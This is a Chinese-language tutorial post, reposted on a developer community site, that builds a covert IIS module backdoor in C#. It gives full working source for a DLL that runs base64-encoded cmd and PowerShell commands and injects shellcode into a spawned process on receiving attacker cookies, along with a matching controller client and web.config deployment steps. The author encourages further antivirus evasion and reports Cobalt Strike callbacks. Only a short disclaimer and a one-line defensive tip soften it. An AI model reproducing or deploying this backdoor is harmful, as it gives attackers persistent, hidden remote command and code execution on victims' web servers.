专栏首页信安之路手把手带你开发一款 IIS 模块后门

手把手带你开发一款 IIS 模块后门

本文作者:WBGlIl(信安之路首次投稿作者) 获得奖励:免费加入信安之路+邀请加入信安之路核心群+获得 90sec 论坛邀请码一枚

记得之前看一篇 APT 组织的报告时偶然间看到过 IIS 模块后门然后在网上找了找了资料,想自己开发一款然后开发到一半因为一些事情就停止了很久,这次清理项目文件的时候又有想了起来就打算重新用 C# 继续写出来。

关于 IIS 后门现在好像已经没什么人在提起了,不过最近有时间就顺便把当初的坑填上

首先准备工具

VS2017 IIS

开始开发

先打开 VS 创建一个 winfrom 项目然后添加一个 C# dll 项目

IIS_backdoor_dll 项目代码

using System;
using System.Collections;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Runtime.InteropServices;
using System.Text;
using System.Web;
using static IIS_backdoor_dll.Program;

namespace IIS_backdoor_dll
{
  //shellcode执行类部分代码
  //https://raw.githubusercontent.com/mvelazc0/defcon27_csharp_workshop/master/Labs/lab7/3.cs
    public static class Program
    {
        [StructLayout(LayoutKind.Sequential)]
        public class SecurityAttributes
        {
            public Int32 Length = 0;
            public IntPtr lpSecurityDescriptor = IntPtr.Zero;
            public bool bInheritHandle = false;

            public SecurityAttributes()
            {
                this.Length = Marshal.SizeOf(this);
            }
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct ProcessInformation
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public Int32 dwProcessId;
            public Int32 dwThreadId;
        }
        [Flags]
        public enum CreateProcessFlags : uint
        {
            DEBUG_PROCESS = 0x00000001,
            DEBUG_ONLY_THIS_PROCESS = 0x00000002,
            CREATE_SUSPENDED = 0x00000004,
            DETACHED_PROCESS = 0x00000008,
            CREATE_NEW_CONSOLE = 0x00000010,
            NORMAL_PRIORITY_CLASS = 0x00000020,
            IDLE_PRIORITY_CLASS = 0x00000040,
            HIGH_PRIORITY_CLASS = 0x00000080,
            REALTIME_PRIORITY_CLASS = 0x00000100,
            CREATE_NEW_PROCESS_GROUP = 0x00000200,
            CREATE_UNICODE_ENVIRONMENT = 0x00000400,
            CREATE_SEPARATE_WOW_VDM = 0x00000800,
            CREATE_SHARED_WOW_VDM = 0x00001000,
            CREATE_FORCEDOS = 0x00002000,
            BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
            ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
            INHERIT_PARENT_AFFINITY = 0x00010000,
            INHERIT_CALLER_PRIORITY = 0x00020000,
            CREATE_PROTECTED_PROCESS = 0x00040000,
            EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
            PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
            PROCESS_MODE_BACKGROUND_END = 0x00200000,
            CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
            CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
            CREATE_DEFAULT_ERROR_MODE = 0x04000000,
            CREATE_NO_WINDOW = 0x08000000,
            PROFILE_USER = 0x10000000,
            PROFILE_KERNEL = 0x20000000,
            PROFILE_SERVER = 0x40000000,
            CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
        }


        [StructLayout(LayoutKind.Sequential)]
        public class StartupInfo
        {
            public Int32 cb = 0;
            public IntPtr lpReserved = IntPtr.Zero;
            public IntPtr lpDesktop = IntPtr.Zero;
            public IntPtr lpTitle = IntPtr.Zero;
            public Int32 dwX = 0;
            public Int32 dwY = 0;
            public Int32 dwXSize = 0;
            public Int32 dwYSize = 0;
            public Int32 dwXCountChars = 0;
            public Int32 dwYCountChars = 0;
            public Int32 dwFillAttribute = 0;
            public Int32 dwFlags = 0;
            public Int16 wShowWindow = 0;
            public Int16 cbReserved2 = 0;
            public IntPtr lpReserved2 = IntPtr.Zero;
            public IntPtr hStdInput = IntPtr.Zero;
            public IntPtr hStdOutput = IntPtr.Zero;
            public IntPtr hStdError = IntPtr.Zero;
            public StartupInfo()
            {
                this.cb = Marshal.SizeOf(this);
            }
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags,
                IntPtr lpEnvironment,
                String lpCurrentDirectory,
                [In] StartupInfo lpStartupInfo,
                out ProcessInformation lpProcessInformation
);

        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);


        public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
        public static UInt32 MEM_COMMIT = 0x1000;
    }

  //继承IHttpModule
    public class IISModule : IHttpModule

    {
    //实现Init方法
        public void Init(HttpApplication context)
        {
      //注册HttpApplication应用程序 BeginRequest 事件
            context.BeginRequest += new EventHandler(context_BeginRequest);
            
        }

        /// <summary>
        /// 执行cmd命令
        /// </summary>
        /// <param name="cmd"></param>
        /// <returns></returns>
        public string RunCmd(string cmd)
        {
      //base64解密Cookie的值然后重新赋给cmd
            cmd = Encoding.UTF8.GetString(Convert.FromBase64String(cmd));
            Process proc = new Process();
            proc.StartInfo.CreateNoWindow = true;
            proc.StartInfo.FileName = "cmd.exe";
            proc.StartInfo.UseShellExecute = false;
            proc.StartInfo.RedirectStandardError = true;
            proc.StartInfo.RedirectStandardInput = true;
            proc.StartInfo.RedirectStandardOutput = true;
            proc.Start();
            proc.StandardInput.WriteLine(cmd);
            proc.StandardInput.WriteLine("exit");
            string outStr = proc.StandardOutput.ReadToEnd();
            proc.Close();
            return outStr;
        }

        /// <summary>
        /// 执行powershell
        /// </summary>
        /// <param name="scriptText"></param>
        /// <returns></returns>
        public static string Runpscmd(string pscmd)
        {
      //base64解密Cookie的值然后重新赋给pscmd
      //通过C#直接调用powershell
            pscmd = Encoding.UTF8.GetString(Convert.FromBase64String(pscmd));
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript(pscmd);
            pipeline.Commands.Add("Out-String");
            Collection<PSObject> results = pipeline.Invoke();
            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();
            foreach (PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }
            return stringBuilder.ToString();
        }
        

        /// <summary>
        /// 执行shellcode
        /// </summary>
        /// <param name="base64"></param>
        /// <returns></returns>
        public string shellcode(string base64)
        {
      //分割字符串
            string[] arr = base64.Split('|');
      //判断shellcode位数是否和目标位数匹配
            if (arr[1].Equals(is_x86()))
            {
                byte[] sc = Convert.FromBase64String(arr[0]);
        //这里可以通过参数自定义程序不过我不写了没办法懒
                string binary = "userinit.exe";
                Int32 size = sc.Length;
                StartupInfo sInfo = new StartupInfo();
                sInfo.dwFlags = 0;
                ProcessInformation pInfo;
                string binaryPath = "C:\\Windows\\System32\\" + binary;
                IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
                IntPtr hProcess = pInfo.hProcess;
                IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

                int test = 0;
                IntPtr size2 = new IntPtr(sc.Length);
                bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test);
                CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
                return Convert.ToString(sc.Length);
            }
      //不匹配返回提示
            else
            {
                return "!Target requires"+is_x86()+" shellcode";
            }
        }
        

        void context_BeginRequest(object sender, EventArgs e)
        {
            HttpApplication application = (HttpApplication)sender;
            HttpContext context = application.Context;
            HttpRequest Request = application.Request;

            context_filter(context, Request);
        }
    //判断当前是x64还是x86
        string is_x86()
        {
            if (IntPtr.Size == 4)
            {
                return "x86";
            }
            else
            {
                return "x64";
            }
        }
        void context_filter(HttpContext context, HttpRequest Request)
        {
            HttpCookieCollection MyCookieColl;
            HttpCookie MyCookie;
            MyCookieColl = Request.Cookies;
            String[] arr1 = MyCookieColl.AllKeys;

            if (arr1.Length > 0)
            {
                MyCookie = MyCookieColl[arr1[0]];
                if (MyCookie.Name.Equals("cmd"))
                {
                    String cookie = MyCookie.Value;
                    context.Response.Clear();
                    context.Response.Write(RunCmd(cookie));
                    context.Response.End();
                    context.Response.Close();
                }
                
                else if (MyCookie.Name.Equals("powershell"))
                {
                    String cookie = MyCookie.Value;
                    context.Response.Clear();
                    context.Response.Write(Runpscmd(cookie));
                    context.Response.End();
                    context.Response.Close();
                }
                else if (MyCookie.Name.Equals("shellcode"))
                {
                    String cookie = MyCookie.Value;
                    context.Response.Clear();
                    context.Response.Write(shellcode(cookie));
                    context.Response.End();
                    context.Response.Close();
                }

            }
        }
        public void Dispose()
        {
        }
    }
}

以上是 IIS_backdoor_dll 项目的代码

主要思路是获取 Cookie 然后判断 Cookie 名字是否匹配如果匹配就根据 Cookie 名字获取其值然后调用相应的方法并传入其值。

总共实现了 3 个功能分别是执行 cmd,通过 C# 调用 powershell,执行 shellcode。代码里面都写有注释可以自己看看

如果不匹配就什么都不做

IIS_backdoor_shell 项目代码

IIS_backdoor_shell 项目代码就比较简单无非就是发送 http 请求获取返回等等

using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text;
using System.Windows.Forms;

namespace IIS_backdoor_shell
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            this.comboBox1.SelectedIndex = 0;
        }
    //发送请求并获取返回
        public string SendDataByGET(string Url, CookieContainer cookie)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
            if (cookie.Count == 0)
            {
                request.CookieContainer = new CookieContainer();
                cookie = request.CookieContainer;
            }
            else
            {
                request.CookieContainer = cookie;
            }

            request.Method = "GET";
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            Stream myResponseStream = response.GetResponseStream();
            StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
            string retString = myStreamReader.ReadToEnd();
            myStreamReader.Close();
            myResponseStream.Close();

            return retString;
        }
    //文件base64编码
        public string FileToBase64Str(string filePath)
        {
            string base64Str = string.Empty;
            try
            {
                using (FileStream filestream = new FileStream(filePath, FileMode.Open))
                {
                    byte[] bt = new byte[filestream.Length];

                    filestream.Read(bt, 0, bt.Length);
                    base64Str = Convert.ToBase64String(bt);
                    filestream.Close();
                }

                return base64Str;
            }
            catch (Exception ex)
            {
                return base64Str;
            }
        }
    //两个textbox事件用于拖放文件
        private void textBox1_DragEnter(object sender, DragEventArgs e)
        {
            if (e.Data.GetDataPresent(DataFormats.FileDrop))
                e.Effect = DragDropEffects.Link;
            else
                e.Effect = DragDropEffects.None;
        }
        private void textBox1_DragDrop(object sender, DragEventArgs e)
        {
            ((TextBox)sender).Text = ((System.Array)e.Data.GetData(DataFormats.FileDrop)).GetValue(0).ToString();
        }

        private void button1_Click(object sender, System.EventArgs e)
        {
            if (textBox3.Text!=""&&textBox1.Text!="")
            {
                CookieContainer cc = new CookieContainer();
        
                if (comboBox1.Text.Equals("shellcode_x86"))
                {
                    var base64Str = FileToBase64Str(textBox3.Text);
                    cc.Add(new System.Uri(textBox1.Text), new Cookie("shellcode", base64Str + "|x86"));
                    textBox2.Text = SendDataByGET(textBox1.Text, cc);
                }
                else if (comboBox1.Text.Equals("shellcode_x64"))
                {
                    var base64Str = FileToBase64Str(textBox3.Text);
                    cc.Add(new System.Uri(textBox1.Text), new Cookie("shellcode", base64Str + "|x64"));
                    textBox2.Text = SendDataByGET(textBox1.Text, cc);
                }
                else
                {
                    byte[] bytes = Encoding.UTF8.GetBytes(textBox3.Text);
                    var base64Str = Convert.ToBase64String(bytes);
                    cc.Add(new System.Uri(textBox1.Text), new Cookie(comboBox1.Text, base64Str));
                    textBox2.Text = SendDataByGET(textBox1.Text, cc);
                }
            }
            else
            {
                MessageBox.Show("请填写命令或URL地址");
            }
            

        }
    }
}

以上是 IIS_backdoor_shell 项目的代码

基本思路就是判断是否是执行 shellcode 如果是就 base64 编码 shellcode 文件然后末尾附加 |x64 或 |x86 然后添加到 cookie 并发送 http 请求,如果不是执行 shellcode 就直接 base64 编码相应的命令然后添加到 cookie 并发送请求

部署后门

编译完后会得到一个 dll 和 exe。

把 IIS_backdoor_dll.dll 文件放到 web 目录的 bin 文件夹中并配置 web.config 文件

web.config 文件

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <modules>
      <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
        </modules>
    </system.webServer>
</configuration>

配置 ok 后正常访问没有任何问题可以

测试后门

现在让我们运行 IIS_backdoor_shell.exe 文件测试一下后门看看主要的 3 个功能

执行 cmd

dir C:\

ipconfig

C# 调用 powershell

获取进程和服务

执行 shellcode

先生成 x64 位的 shellcode

然后把 shellcode 拖到文本框二

执行后 cs 成功上线

基本上我就写了这三个功能其他的比如文件上传远程下载等等还是日后来填坑吧

浅谈一下原理

在 .Net 中,HttpModule 其实就是实现了 IHttpModule 接口的程序集。在 IIS 中 Http 请求会通过一系列 HttpModule,而在经过这些 HttpModule 时,这些 HttpModule 对 Http 请求具有完全的控制权。

而我们这时就可以根据这些 http 请求判断是否是后门请求如果是就触发后门,如果不是就什么也不做交给后面的模块,在经过所有的 HttpModule 之后,它会被 HttpHandler 处理,在 HttpHandler 处理完以后 http 请求返回包会再一次经历 HttpModule,最后到达客户端

基本流程图

具体关于 HttpModule 接口可以看看微软的官方文档

https://docs.microsoft.com/zh-cn/dotnet/api/system.web.ihttpmodule?redirectedfrom=MSDN&view=netframework-4.8

声明

本文提供的代码只限学习、研究,请勿用于其他用途,如因此造成其他后果,后果自负。

随便谈两句

明天整理一下在放 git 上先放个链接,git 链接

https://github.com/WBGlIl/IIS_backdoor

1、文笔不太好写的就这样了还请大佬们多多包涵

2、其实这个项目也还有很多地方可以改进一下比如 shellcode 的执行方式,参数加密方式,等等一些地方都可以在改进改进增强免杀,本文只是作为抛砖引玉希望大家可以搞出更好的东西。

3、在做应急的时候也应该多注意一下有关 web 容器的后门对于判断这类后门应该多查看系统日志,检查扩展,平时也应该做好防御不给对方留下后门的可乘之机

本文分享自微信公众号 - 信安之路(xazlsec),作者:WBGlIl

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 手把手带你入门微信小程序开发(一)

    关于微信小程序的介绍,我这里也不多说,官方说的很清楚了。我这里就简要的说一下我对微信小程序的印象把,微信小程序就是一个轻量级的应用,自从“ 跳一跳”这个游戏火...

    Gorit
  • [超详细] 手把手带你发布自己的专属模块!

    我们在写代码的时候,有时会开发出一个让自己觉得牛x闪闪的模块,自我陶醉已经满足不了自己蠢蠢欲动的心,只想赶紧让更多的人知道,毕竟分享是一种优秀的品德(实际是为了...

    编程文青李狗蛋
  • 手把手带你入门微信小程序开发(二)

    官方文档—(WXML介绍) WXML(WeiXin Markup Language),是一套标签语言,和组件结合一起使用,用来构建页面的结构

    Gorit
  • 手把手教你编写一个简单的PHP模块形态的后门

    看到Freebuf 小编发表的用这个隐藏于PHP模块中的rootkit,就能持久接管服务器文章,很感兴趣,苦无作者没留下PoC,自己研究一番,有了此文 0x00...

    FB客服
  • 手把手教你 Aduino 快速开发入门 (一)

    最重要的一点,安装 arduino UNO 扩展环境,把下载下来的两个扩展包,放进 proteus 下的 libraries 文件中,这样就可以啦

    Gorit
  • Android开发:手把手带你入门跨平台UI开发框架Flutter

    Flutter理念:“一切皆为Widget”,Widget是Flutter应用程序用户界面的基本构建块,具备以下特点:

    Android技术干货分享
  • 手把手带你开发一款云开发版点餐小程序,微信扫码点餐,用户端和后厨端都有

    我后面会教大家如何生成桌号二维码,只需要把对应桌号的二维码贴在餐桌上,用户点击 扫码点餐 识别二维码,即可获取到桌号信息。

    编程小石头
  • 开发 | 手把手带你入门小游戏,「打飞机」也有逆天操作!

    自从 12 月 25 日小游戏功能开放以来,越来越多的游戏从业者都开始重新审视小程序平台。其中,也有不少游戏公司和开发者,都在考虑做一款小游戏。

    知晓君
  • 手把手教你用Go语言开发一款简易目录生成器

    如果你觉得文章还可以,记得点赞留言支持我们哈。感谢你的阅读,有问题请记得在下方留言噢~

    Go进阶者
  • UPUPW 绿色服务器平台安装使用教程 windows 建站不求人

    很多人在使用 Windows 服务器搭建网站,windows 服务器版自带的 IIS 和 asp、php 建站环境搭建起来比较麻烦,于是就有了众多第三方软件。魏...

    魏艾斯博客www.vpsss.net
  • 记一次IIS劫持处置

    晚上十一点四十,刚准备休息,收到朋友电话,其一个站点被入侵篡改,导致某web接口异常,帮忙远程处理。

    FB客服
  • 机器学习——打开集成方法的大门,手把手带你实现AdaBoost模型

    我们目前为止已经学过了好几个模型,光决策树的生成算法就有三种。但是我们每次进行分类的时候,每次都是采用一个模型进行训练和预测。我们日常在做一个决策的时候,往往会...

    TechFlow-承志
  • Azure 上使用 Windows Server Core 运行 ASP.NET Core 网站

    微软智慧云 Azure 上虽然早就有 App Service 这种完全托管的 PaaS 服务可以让我们分分钟建网站。但是不自己配一下环境,就不能体现技术含量,容...

    Edi Wang
  • 手把手带你开发一款云开发版商城小程序,校园二手微信小程序,可升级社区团购小程序

    这些操作都和菜品列表是联动的,也就是菜品列表和购物车里增删个数,都是可以同步的。我会在项目预览章节的视频里做具体演示。

    编程小石头
  • IIS 7.0的六大安全新特性为你的Web服务器保驾护航

    文章来自:WindowsITPro  2009年2月期 当你启用一台Web服务器的时候,你就把你公司的一部分完全展现给了公众,任凭他人摆布。Web服务器上的那些...

    张善友
  • 网站被劫持 解决网站反复被跳转的处理方案

    临近2019年底,网站安全事件频发,攻击者加大了对网站的攻击力度,一定是在为过年钱做准备,大捞一把过个好年。就在最近,某客户网站被入侵并被篡改了首页代码,网站从...

    网站安全专家
  • .NET Core实战项目之CMS 第十七章 CMS网站系统的部署

    目前我们的.NET Core实战项目之CMS系列教程基本走到尾声了,通过这一系列的学习你应该能够轻松应对.NET Core的日常开发了!当然这个CMS系统的一些...

    依乐祝
  • Visual Studio 2019 惨痛 踩坑 经历 0x80070490 0x80040154

    我并不是程序员,用VS2019也就最近一个月的事,前段时间用VS2019跑腾讯云的API Explorer工具里的7种SDK时用它搞PythonSDK、Node...

    shawyang
  • 高速输出-我们戏说缓存

    缓存要解决的问题是速度的问题,使用缓存的目的是为了减少对物理资源的访问,缓存大量的应用在软硬件的方方面面,从 CPU 到硬盘,就应用了 一级缓存、二级缓存,少部...

    梁规晓

扫码关注云+社区

领取腾讯云代金券